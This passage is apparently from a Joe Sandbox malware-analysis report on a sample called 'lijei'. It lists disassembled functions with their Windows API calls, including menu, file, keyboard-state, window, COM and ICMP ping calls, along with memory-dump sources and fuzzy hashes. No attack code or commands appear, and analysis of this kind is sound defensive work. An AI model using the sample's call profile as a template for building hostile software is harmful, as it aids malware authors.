                                                              • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0090CA00
                                                              • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0090CA21
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ItemMenu$Info$CheckCountRadioSleep
                                                              • String ID: 0
                                                              • API String ID: 1460738036-4108050209
                                                              • Opcode ID: 28f57e94ec97ac7e60289ba59c950b11ddc3fc7e65985e9089ebf3f3e785d083
                                                              • Instruction ID: a37699296610530bed548a66767f961495ed1a3dfefdd493f397b13cc08ff94e
                                                              • Opcode Fuzzy Hash: 28f57e94ec97ac7e60289ba59c950b11ddc3fc7e65985e9089ebf3f3e785d083
                                                              • Instruction Fuzzy Hash: CD618AB1A1424AAFDF15CF68D898EEEBBA8FF45308F004219F851A32D1D734AD45DB60
                                                              Function 0090E3D7 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetFileVersionInfoSizeW.VERSION(?,?), ref: 0090E3E9
                                                              • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 0090E40F
                                                              • _wcslen.LIBCMT ref: 0090E419
                                                              • _wcsstr.LIBVCRUNTIME ref: 0090E469
                                                              • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 0090E485
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
                                                              • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                              • API String ID: 1939486746-1459072770
                                                              • Opcode ID: c25eccdbf0a4df4dfe9ab5fbea22083f912ce6c0274f31e0d2d5d260e94b605f
                                                              • Instruction ID: 5e6ca5130b7b99e2cc3e977dc8ed6b06512f767f3ce524f9fe8a2dc653a75224
                                                              • Opcode Fuzzy Hash: c25eccdbf0a4df4dfe9ab5fbea22083f912ce6c0274f31e0d2d5d260e94b605f
                                                              • Instruction Fuzzy Hash: A44128726442047EEB00AB789C47FBF777CEF95314F04046AF941E61C2EB78DA0196A6
                                                              Function 00914678 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0091469A
                                                              • _wcslen.LIBCMT ref: 009146C7
                                                              • CreateDirectoryW.KERNEL32(?,00000000), ref: 009146F7
                                                              • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00914718
                                                              • RemoveDirectoryW.KERNEL32(?), ref: 00914728
                                                              • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 009147AF
                                                              • CloseHandle.KERNEL32(00000000), ref: 009147BA
                                                              • CloseHandle.KERNEL32(00000000), ref: 009147C5
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
                                                              • String ID: :$\$\??\%s
                                                              • API String ID: 1149970189-3457252023
                                                              • Opcode ID: 9f379db09ae071dde544b1667abd46897a27aad08e6f86151cbb7cc94bb75058
                                                              • Instruction ID: a00a0e15544226b38d94bd421abbe022aa49b34a6e4245fb3ed74b6b73d5421b
                                                              • Opcode Fuzzy Hash: 9f379db09ae071dde544b1667abd46897a27aad08e6f86151cbb7cc94bb75058
                                                              • Instruction Fuzzy Hash: C731E671A04209ABDB219FA4DC44FEB37BCEF8A744F1001B9F619D60A0E77497849F20
                                                              Function 0090A86D Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetKeyboardState.USER32(?), ref: 0090A8EE
                                                              • SetKeyboardState.USER32(?), ref: 0090A959
                                                              • GetAsyncKeyState.USER32(000000A0), ref: 0090A979
                                                              • GetKeyState.USER32(000000A0), ref: 0090A990
                                                              • GetAsyncKeyState.USER32(000000A1), ref: 0090A9BF
                                                              • GetKeyState.USER32(000000A1), ref: 0090A9D0
                                                              • GetAsyncKeyState.USER32(00000011), ref: 0090A9FC
                                                              • GetKeyState.USER32(00000011), ref: 0090AA0A
                                                              • GetAsyncKeyState.USER32(00000012), ref: 0090AA33
                                                              • GetKeyState.USER32(00000012), ref: 0090AA41
                                                              • GetAsyncKeyState.USER32(0000005B), ref: 0090AA6A
                                                              • GetKeyState.USER32(0000005B), ref: 0090AA78
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: State$Async$Keyboard
                                                              • String ID:
                                                              • API String ID: 541375521-0
                                                              • Opcode ID: b4b23adea22e79192d33181c1c69b577ecd2adb4dfde4b30aaf18c923e8f607b
                                                              • Instruction ID: ec426b8388827c2c07080aa725be9d2bd8a6820fc3c82dd55825e29798f14c4a
                                                              • Opcode Fuzzy Hash: b4b23adea22e79192d33181c1c69b577ecd2adb4dfde4b30aaf18c923e8f607b
                                                              • Instruction Fuzzy Hash: E651C830A047846DFB35E7B049157EABFF99F11380F488599D9C2571C2DA549A8CCBE2
                                                              Function 00906555 Relevance: 18.2, APIs: 12, Instructions: 173COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDlgItem.USER32(?,00000001), ref: 00906571
                                                              • GetWindowRect.USER32(00000000,?), ref: 0090658A
                                                              • MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 009065E8
                                                              • GetDlgItem.USER32(?,00000002), ref: 009065F8
                                                              • GetWindowRect.USER32(00000000,?), ref: 0090660A
                                                              • MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 0090665E
                                                              • GetDlgItem.USER32(?,000003E9), ref: 0090666C
                                                              • GetWindowRect.USER32(00000000,?), ref: 0090667E
                                                              • MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 009066C0
                                                              • GetDlgItem.USER32(?,000003EA), ref: 009066D3
                                                              • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 009066E9
                                                              • InvalidateRect.USER32(?,00000000,00000001), ref: 009066F6
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Window$ItemMoveRect$Invalidate
                                                              • String ID:
                                                              • API String ID: 3096461208-0
                                                              • Opcode ID: c30791a5c4062e151bae1de4dc81eef018ee24906e7b31fce5b8dedc43d8f066
                                                              • Instruction ID: 7cacf5de73a8e662b8a24ea8194b3ff0563e49afcfc330e8ae9af2e508609545
                                                              • Opcode Fuzzy Hash: c30791a5c4062e151bae1de4dc81eef018ee24906e7b31fce5b8dedc43d8f066
                                                              • Instruction Fuzzy Hash: BD511EB1A11209AFDF08CF68DD99AAEBBB9FB48314F108129F919E72D0D7719D14CB50
                                                              Function 008A20D8 Relevance: 18.1, APIs: 12, Instructions: 137COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008A21E4: GetWindowLongW.USER32(?,000000EB), ref: 008A21F2
                                                              • GetSysColor.USER32(0000000F), ref: 008A2102
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ColorLongWindow
                                                              • String ID:
                                                              • API String ID: 259745315-0
                                                              • Opcode ID: 8be1877eb6c9f9e7550a423717dacb3e28d85fd2637187ea90f59b2c0da7313a
                                                              • Instruction ID: 43d9ad1f61e0c6ee52e4a0d6462b1350723d144302efa6bcd1158d5f2a174ea6
                                                              • Opcode Fuzzy Hash: 8be1877eb6c9f9e7550a423717dacb3e28d85fd2637187ea90f59b2c0da7313a
                                                              • Instruction Fuzzy Hash: C6417F31209644AFEB355B3C9C48BBA3BA5FB47324F144645FAA6C72E1C731AD42EB11
                                                              Function 009348F7 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0093499A
                                                              • CreateCompatibleDC.GDI32(00000000), ref: 009349A1
                                                              • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 009349B4
                                                              • SelectObject.GDI32(00000000,00000000), ref: 009349BC
                                                              • GetPixel.GDI32(00000000,00000000,00000000), ref: 009349C7
                                                              • DeleteDC.GDI32(00000000), ref: 009349D1
                                                              • GetWindowLongW.USER32(?,000000EC), ref: 009349DB
                                                              • SetLayeredWindowAttributes.USER32(?,?,00000000,00000001,?,00000000,?), ref: 009349F1
                                                              • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?), ref: 009349FD
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                                              • String ID: static
                                                              • API String ID: 2559357485-2160076837
                                                              • Opcode ID: 8475a75b1b1c552c1503bce4cc2ec251078f10aec1bcac7854d343c1c0ce730d
                                                              • Instruction ID: bb941fd791b49a12b29356371271160ccfafe5e389ebbd052936926b5a939df3
                                                              • Opcode Fuzzy Hash: 8475a75b1b1c552c1503bce4cc2ec251078f10aec1bcac7854d343c1c0ce730d
                                                              • Instruction Fuzzy Hash: 67314B32115215ABDF119FA4DC09FDB3B68FF09724F110211FA69A60A0D735E821EF94
                                                              Function 0092458D Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • VariantInit.OLEAUT32(?), ref: 009245B9
                                                              • CoInitialize.OLE32(00000000), ref: 009245E7
                                                              • CoUninitialize.OLE32 ref: 009245F1
                                                              • _wcslen.LIBCMT ref: 0092468A
                                                              • GetRunningObjectTable.OLE32(00000000,?), ref: 0092470E
                                                              • SetErrorMode.KERNEL32(00000001,00000029), ref: 00924832
                                                              • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 0092486B
                                                              • CoGetObject.OLE32(?,00000000,00940B64,?), ref: 0092488A
                                                              • SetErrorMode.KERNEL32(00000000), ref: 0092489D
                                                              • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00924921
                                                              • VariantClear.OLEAUT32(?), ref: 00924935
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
                                                              • String ID:
                                                              • API String ID: 429561992-0
                                                              • Opcode ID: 2d4ed4c87be0c10e3dbab069a46f89160a7359115ebfabf5004c75fdd8a1adc2
                                                              • Instruction ID: 182207e003cf9a52f434e2335b84bfd1e3dcac83ee2522cdf78ab19d1e9dcebc
                                                              • Opcode Fuzzy Hash: 2d4ed4c87be0c10e3dbab069a46f89160a7359115ebfabf5004c75fdd8a1adc2
                                                              • Instruction Fuzzy Hash: C6C143B1608315AFD700DF68D88492BBBE9FF89748F04491DF99A9B260DB30ED45CB52
                                                              Function 009183F0 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CoInitialize.OLE32(00000000), ref: 0091844D
                                                              • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 009184E9
                                                              • SHGetDesktopFolder.SHELL32(?), ref: 009184FD
                                                              • CoCreateInstance.OLE32(00940CD4,00000000,00000001,00967E8C,?), ref: 00918549
                                                              • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 009185CE
                                                              • CoTaskMemFree.OLE32(?,?), ref: 00918626
                                                              • SHBrowseForFolderW.SHELL32(?), ref: 009186B1
                                                              • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 009186D4
                                                              • CoTaskMemFree.OLE32(00000000), ref: 009186DB
                                                              • CoTaskMemFree.OLE32(00000000), ref: 00918730
                                                              • CoUninitialize.OLE32 ref: 00918736
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
                                                              • String ID:
                                                              • API String ID: 2762341140-0
                                                              • Opcode ID: 562ef5145de330c567fe52fea3c3924142f6b33bdd5c356372af2928e6262a67
                                                              • Instruction ID: 79fcdfa5c188dbcebbf3647e0ef44f96f39ba2bbf5da8fb8d9f91db00cd8627c
                                                              • Opcode Fuzzy Hash: 562ef5145de330c567fe52fea3c3924142f6b33bdd5c356372af2928e6262a67
                                                              • Instruction Fuzzy Hash: 5BC11875A00209AFDB14DFA4C898DAEBBF9FF48344B148498E419EB661CB30ED81DB50
                                                              Function 00900318 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 0090033F
                                                              • SafeArrayAllocData.OLEAUT32(?), ref: 00900398
                                                              • VariantInit.OLEAUT32(?), ref: 009003AA
                                                              • SafeArrayAccessData.OLEAUT32(?,?), ref: 009003CA
                                                              • VariantCopy.OLEAUT32(?,?), ref: 0090041D
                                                              • SafeArrayUnaccessData.OLEAUT32(?), ref: 00900431
                                                              • VariantClear.OLEAUT32(?), ref: 00900446
                                                              • SafeArrayDestroyData.OLEAUT32(?), ref: 00900453
                                                              • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0090045C
                                                              • VariantClear.OLEAUT32(?), ref: 0090046E
                                                              • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00900479
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                              • String ID:
                                                              • API String ID: 2706829360-0
                                                              • Opcode ID: 5ad011b688c9a7df70bae174c7a9dcc66f1cb6cafa95cebe6848589d930f213c
                                                              • Instruction ID: 12412a1ddc1ec6e65925c58d228840f6d8c38596c643c53334af4c2eb5194056
                                                              • Opcode Fuzzy Hash: 5ad011b688c9a7df70bae174c7a9dcc66f1cb6cafa95cebe6848589d930f213c
                                                              • Instruction Fuzzy Hash: 38414275A00219DFCB00DF68D858AAE7BB9FF98344F008465E959E72B1D734E945CF90
                                                              Function 0093A8E5 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 260windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008A2441: GetWindowLongW.USER32(00000000,000000EB), ref: 008A2452
                                                              • GetSystemMetrics.USER32(0000000F), ref: 0093A926
                                                              • GetSystemMetrics.USER32(0000000F), ref: 0093A946
                                                              • MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0093AB83
                                                              • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0093ABA1
                                                              • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0093ABC2
                                                              • ShowWindow.USER32(00000003,00000000), ref: 0093ABE1
                                                              • InvalidateRect.USER32(?,00000000,00000001), ref: 0093AC06
                                                              • DefDlgProcW.USER32(?,00000005,?,?), ref: 0093AC29
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
                                                              • String ID:
                                                              • API String ID: 1211466189-3916222277
                                                              • Opcode ID: c315a58e68117d7a18e024a5be95972f1c1bb4be80203424624bb6f9a5aff2b1
                                                              • Instruction ID: 1fad3223d56ad21693d42a7fb944888f0ebe182ca8287e1b113d833339ae3ef9
                                                              • Opcode Fuzzy Hash: c315a58e68117d7a18e024a5be95972f1c1bb4be80203424624bb6f9a5aff2b1
                                                              • Instruction Fuzzy Hash: 95B17831600219DFDF14CF68CA85BAE7BB6FF44701F198069ED899A295D734A980CF62
                                                              Function 00920EB8 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WSAStartup.WSOCK32(00000101,?), ref: 00920F19
                                                              • inet_addr.WSOCK32(?), ref: 00920F79
                                                              • gethostbyname.WSOCK32(?), ref: 00920F85
                                                              • IcmpCreateFile.IPHLPAPI ref: 00920F93
                                                              • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00921023
                                                              • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00921042
                                                              • IcmpCloseHandle.IPHLPAPI(?), ref: 00921116
                                                              • WSACleanup.WSOCK32 ref: 0092111C
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                                              • String ID: Ping
                                                              • API String ID: 1028309954-2246546115
                                                              • Opcode ID: 57fb5b38deed0f6e1580d3e8bcc589a3b2e0d55b900886c428782a30407e9b73
                                                              • Instruction ID: e2f04d3fec7878f5fce6dc96e978769fddb896d9c82c9feb40c280e491d323b8
                                                              • Opcode Fuzzy Hash: 57fb5b38deed0f6e1580d3e8bcc589a3b2e0d55b900886c428782a30407e9b73
                                                              • Instruction Fuzzy Hash: 4691AE316082519FD320DF29D885F16BBE4FF88318F148999F5698B6A2C735EC85CF82
                                                              Function 00918AEF Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLocalTime.KERNEL32(?), ref: 00918BB1
                                                              • SystemTimeToFileTime.KERNEL32(?,?), ref: 00918BC1
                                                              • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00918BCD
                                                              • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00918C6A
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 00918C7E
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 00918CB0
                                                              • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00918CE6
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 00918CEF
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CurrentDirectoryTime$File$Local$System
                                                              • String ID: *.*
                                                              • API String ID: 1464919966-438819550
                                                              • Opcode ID: 38aa33d29b37ea6671ceed58f47a3a8d52cb89f953eeab887e5d3df0dfa9c8b6
                                                              • Instruction ID: 654b90188b45d3d883b13464c52368dd9fbcaee2f3fa72ae2223f0aab1193745
                                                              • Opcode Fuzzy Hash: 38aa33d29b37ea6671ceed58f47a3a8d52cb89f953eeab887e5d3df0dfa9c8b6
                                                              • Instruction Fuzzy Hash: 8B6147B26083099FD710EF24C844A9FB3E8FF89314F04891DE999C7251DB35E985CB92
                                                              Function 009345A5 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateMenu.USER32 ref: 009345D8
                                                              • SetMenu.USER32(?,00000000), ref: 009345E7
                                                              • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0093466F
                                                              • IsMenu.USER32(?), ref: 00934683
                                                              • CreatePopupMenu.USER32 ref: 0093468D
                                                              • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 009346BA
                                                              • DrawMenuBar.USER32 ref: 009346C2
                                                              Strings
                                                              Memory Dump Source
